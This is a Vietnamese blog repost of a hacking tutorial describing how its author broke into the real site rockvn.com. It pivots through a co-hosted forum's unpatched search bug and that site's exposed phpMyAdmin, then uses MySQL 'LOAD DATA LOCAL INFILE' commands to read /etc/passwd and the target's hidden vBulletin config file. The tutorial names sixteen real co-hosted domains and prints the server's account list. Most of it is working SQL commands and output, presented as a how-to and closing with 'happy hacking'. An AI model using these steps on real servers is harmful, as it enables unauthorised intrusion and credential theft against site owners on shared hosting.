Trao đổi với tôi

http://www.buidao.com

2/22/10

[Hacking] black_hat_cr hack rockvn.com (khá pro)

Xem chi tiết bài viết: http://docs.google.com/View?id=ddstr8xk_31ftwnxpc9

How to hack rockvn.com (Local attack)
by: black_hat_cr [at] VN FORCE Team. © HcEgrOup.neT
Thời gian: 5 phút (cao thủ thì nhanh hơn)
Note: Đã report bug này....chưa biết fix hay chưa, những ví dụ trong bài đã được fix, chỉ mang hình thức "chia sẽ". Do lần đầu tiên viết tutorial nên còn nhiều sai xót, hi vọng các bạn cho í kiến.
Sơ lượt qua về rockvn.com
1, xài VB 3.5 <--chưa có bug 2, server config kĩ và bật safe mode 3, server đặt ở digipower.vn, trên IP này có 16 site khác, 16 site đó là:
Code:
1.   bigtoecrew.com
2. camtu.info
3. congtyweb.com
4. constrexim9.com
5. daikho.net
6. haanhtuan.net
7. haylam.com
8. kyniemthoigian.net
9. maitrang.net
10. mouoc.com
11. salsavietnam.com
12. showroomvn.com
13. tranphuonglinh.net
14. vietbboy.com
15. yenbairock.com
16. zukonvip.biz
mục tiêu là rockvn.com......check thử thì "bàn đạp" của ta sẽ là bigtoecrew.com. Đặc điểm về bigtoe là xài ipb 2.14...chưa hề fix bug search, search kĩ trong HCE sẽ thấy cách hack...ok, 1 phút trôi qua, ok lấy được info của database....đại khái là:
Code:
$INFO['sql_user']      =  'bigtoe_ibf';
$INFO['sql_pass'] = 'bigxxx'; //cái này viết vậy cho có hình thức !
và prefix là: ibf_
ok, bây giờ có 2 con đường.
1, connect vào database qua con shell
2, connect vào database qua phpmyadmin mở ra, cái điểm sơ hở ở đây là đường dẫn vào là domain/phpmyadmin luôn hehe, như vậy ta login vào với user + pass có được tại:
Code:
http://bigtoecrew.com/phpmyadmin
Bắt đầu login........successful ! hehe

Khi đã vào rồi thì vào "Query window" ở trên (bên phải) ....nó sẽ hiện ra 1 cái window nhỏ nhỏ....khi đó ta chạy command này:
Code:
CREATE TABLE ibf_test(text LONGTEXT);
Bug mà chúng ta sẽ dùng để local ….sẽ chạy qua mysql với command:
Code:
load data local infile 'path/file' into table ibf_test FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\'' LINES TERMINATED BY '\n';
okie, đã create table ibf_test....Giờ ta hãy coi info trong /etc/passwd để biết thêm thông tin về victim.....xong run command này:
Code:
load data local infile '/etc/passwd' into table ibf_test FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\'' LINES TERMINATED BY '\n';
Tiếp theo, export cái table ibf_test hoặc run command sau khi login vào database qua con shell với: SELECT * FROM ibf_test;

Code:
INSERT INTO `ibf_test` VALUES ('root:x:0:0:root:/root:/bin/bash');
INSERT INTO `ibf_test` VALUES ('bin:x:1:1:bin:/bin:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('daemon:x:2:2:daemon:/sbin:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('adm:x:3:4:adm:/var/adm:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('sync:x:5:0:sync:/sbin:/bin/sync');
INSERT INTO `ibf_test` VALUES ('shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown');
INSERT INTO `ibf_test` VALUES ('halt:x:7:0:halt:/sbin:/sbin/halt');
INSERT INTO `ibf_test` VALUES ('mail:x:8:12:mail:/var/spool/mail:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('news:x:9:13:news:/etc/news:');
INSERT INTO `ibf_test` VALUES ('uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('operator:x:11:0:operator:/root:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('games:x:12:100:games:/usr/games:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('gopher:x:13:30:gopher:/var/gopher:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('nobody:x:99:99:Nobody:/:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('named:x:25:25:Named:/var/named:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('rpm:x:37:37::/var/lib/rpm:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('apache:x:48:48:Apache:/var/www:/sbin/nologin');
INSERT INTO `ibf_test` VALUES ('diradmin:x:100:101::/usr/local/directadmin:/bin/bash');
INSERT INTO `ibf_test` VALUES ('mysql:x:101:102:MySQL server:/var/lib/mysql:/bin/bash');
INSERT INTO `ibf_test` VALUES ('majordomo:x:102:2::/etc/virtual/majordomo:/bin/bash');
INSERT INTO `ibf_test` VALUES ('admin:x:500:500::/home/admin:/bin/bash');
INSERT INTO `ibf_test` VALUES ('rockvn:x:501:501::/home/rockvn:/bin/bash');
INSERT INTO `ibf_test` VALUES ('lthh:x:502:502::/home/lthh:/bin/bash');
INSERT INTO `ibf_test` VALUES ('gofl:x:503:503::/home/gofl:/bin/bash');
INSERT INTO `ibf_test` VALUES ('bigtoe:x:504:504::/home/bigtoe:/bin/bash');
INSERT INTO `ibf_test` VALUES ('digipro:x:505:505::/home/digipro:/bin/bash');
INSERT INTO `ibf_test` VALUES ('phanyly:x:506:506::/home/phanyly:/bin/bash');
INSERT INTO `ibf_test` VALUES ('cutu9:x:507:507::/home/cutu9:/bin/false');
INSERT INTO `ibf_test` VALUES ('david:x:508:508::/home/david:/bin/bash');
INSERT INTO `ibf_test` VALUES ('manhmeo:x:509:509::/home/manhmeo:/bin/bash');
INSERT INTO `ibf_test` VALUES ('vmanagemt:x:510:510::/home/vmanagemt:/bin/bash');
INSERT INTO `ibf_test` VALUES ('yrc:x:511:511::/home/yrc:/bin/bash');
INSERT INTO `ibf_test` VALUES ('haanhtuan:x:512:512::/home/haanhtuan:/bin/bash');
INSERT INTO `ibf_test` VALUES ('constrexim:x:513:513::/home/constrexim:/bin/bash');
INSERT INTO `ibf_test` VALUES ('maitrang:x:514:514::/home/maitrang:/bin/bash');
INSERT INTO `ibf_test` VALUES ('phuonglinh:x:515:515::/home/phuonglinh:/bin/bash');
INSERT INTO `ibf_test` VALUES ('ngocanh:x:500:500::/home/ngocanh:/bin/bash');
Okie, thành công mỹ mãn rồi, đây là 1 bug của mysql, gọi là “data local infile” thì fải (nếu nói sai, xin sửa giùm) ok, giờ, bước tiếp theo là lấy thông tin trong file config của mục tiêu (rockvn.com) …..bây giờ run 1 command cũng gần giống khi mình lấy /etc/passwd và ở đây, path của rockvn (ở trên cho thấy) là: /home/rockvn ……uhm…biết là vậy nhưng mà cái này chỉ là ngòai thôi….giờ ta nhìn vào “bàn đạp” nó là:
Code:
 /home/bigtoe/domains/bigtoecrew.com/public_html
Vậy thì của rockvn sẽ là:
Code:
 /home/rockvn/domains/rockvn.com/public_html
Cái path rất là quan trọng, vì mình cần biết vị trị chính xác mới lấy được thông tin (file config) okie….ở đây, rockvn xài Vbulletin, do đó file config theo mặc định nó sẽ nằm ở: /forum/includes/config.php…..giờ thử lấy thông tin trong đó xem nào…
Code:
load data local infile '/home/rockvn/domains/rockvn.com/public_html/forum/includes/config.php' into table ibf_test FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\'' LINES TERMINATED BY '\n';
……
Bum….file not found….ặc ặc….mình đã làm gì sai ? file not found ?....thử lấy index.php xem sao…..
Code:
load data local infile '/home/rockvn/domains/rockvn.com/public_html/forum/index.php' into table ibf_test FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\'' LINES TERMINATED BY '\n';
Hiện ra source code ? mà file config trong includes không lấy được? như vậy là sao ? à à admin đổi tên file đó mà kekek…….theo 1 số kiến thức về Vbulletin thì file index.php của nó không hề include cái config hix hix….do đó, đọc code trong đó bây giờ là vô dụng + tốn thời gian thôi. Tuy nhiên, tui phát hiện ra nó include trong file class_core.php trong folder includes hehe, mau mau run command lấy code nó liền……

Code:
load data local infile '/home/rockvn/domains/rockvn.com/public_html/forum/includes/class_core.php' into table ibf_test FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\'' LINES TERMINATED BY '\n';
Kekekkekeke, nói không sai mà hé hé…..ra code rồi, coi cái phần :
Code:
include(CWD . '
Tên file config thật sẽ nằm sau đoạn này, heheh  includes/config_hidden.php ….đóan không sai, admin đổi tên file hé hé…..bây giờ dĩ nhiên là:

Code:
load data local infile '/home/rockvn/domains/rockvn.com/public_html/forum/includes/config_hidden.php' into table ibf_test FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\'' LINES TERMINATED BY '\n';
Hé hé, ra thông tin roài…..thành công mỹ mãn…..Tuy là hack rockvn bằng cách local qua mysql này hơi rắc rối chút, nhưng mà kết quả thì không tệ đâu…….Ngòai cách này ra thì còn cách nữa là “Bypass safe mode” do pác @vns3curity post thì phải….chúc hack vui vẻ….

Black_hat_cr [at] VNFORCE Team © HcEgrOup.NeT